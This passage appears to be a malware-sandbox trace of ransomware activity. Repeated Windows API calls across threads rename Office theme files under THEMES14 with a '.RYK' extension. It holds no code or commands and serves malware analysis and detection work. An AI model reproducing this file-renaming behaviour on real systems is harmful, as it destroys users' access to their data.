	[0168.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.403] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 384
	os_tid = 0xe2c

	[0168.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.404] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 386
	os_tid = 0xe34

	[0168.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", dwFileAttributes=0x80) returned 0
	[0168.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.407] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 387
	os_tid = 0xe38

	[0168.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", dwFileAttributes=0x80) returned 0
	[0168.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.552] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 388
	os_tid = 0xe3c

	[0168.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.554] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 389
	os_tid = 0xe40

	[0168.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.412] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.412] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 390
	os_tid = 0xe44

	[0168.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", dwFileAttributes=0x80) returned 0
	[0168.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.556] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.557] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 391
	os_tid = 0xe48

	[0168.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF", dwFileAttributes=0x80) returned 0
	[0168.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.416] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 392
	os_tid = 0xe4c

	[0168.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.559] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 393
	os_tid = 0xe50

	[0168.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.420] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.420] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 394
	os_tid = 0xe54

	[0168.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", dwFileAttributes=0x80) returned 0
	[0168.560] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.561] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 395
	os_tid = 0xe58

	[0168.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF", dwFileAttributes=0x80) returned 0
	[0168.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.663] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 396
	os_tid = 0xe5c

	[0168.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.565] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 397
	os_tid = 0xe60

	[0168.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.664] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.665] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 398
	os_tid = 0xe64

	[0168.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", dwFileAttributes=0x80) returned 0
	[0168.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.569] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 399
	os_tid = 0xe68

	[0168.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF", dwFileAttributes=0x80) returned 0
	[0168.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.571] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 400
	os_tid = 0xe6c

	[0168.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.573] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 401
	os_tid = 0xe70

	[0168.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.576] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 402
	os_tid = 0xe74

	[0168.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", dwFileAttributes=0x80) returned 0
	[0168.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.667] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 403
	os_tid = 0xe78

	[0168.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", dwFileAttributes=0x80) returned 0
	[0168.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.787] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 404
	os_tid = 0xe7c

	[0168.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.791] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 405
	os_tid = 0xe80

	[0168.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.794] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 406
	os_tid = 0xe84

	[0168.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM", dwFileAttributes=0x80) returned 0
	[0168.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.673] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 407
	os_tid = 0xe88

	[0168.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", dwFileAttributes=0x80) returned 0
	[0168.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.679] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 408
	os_tid = 0xe8c

	[0168.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
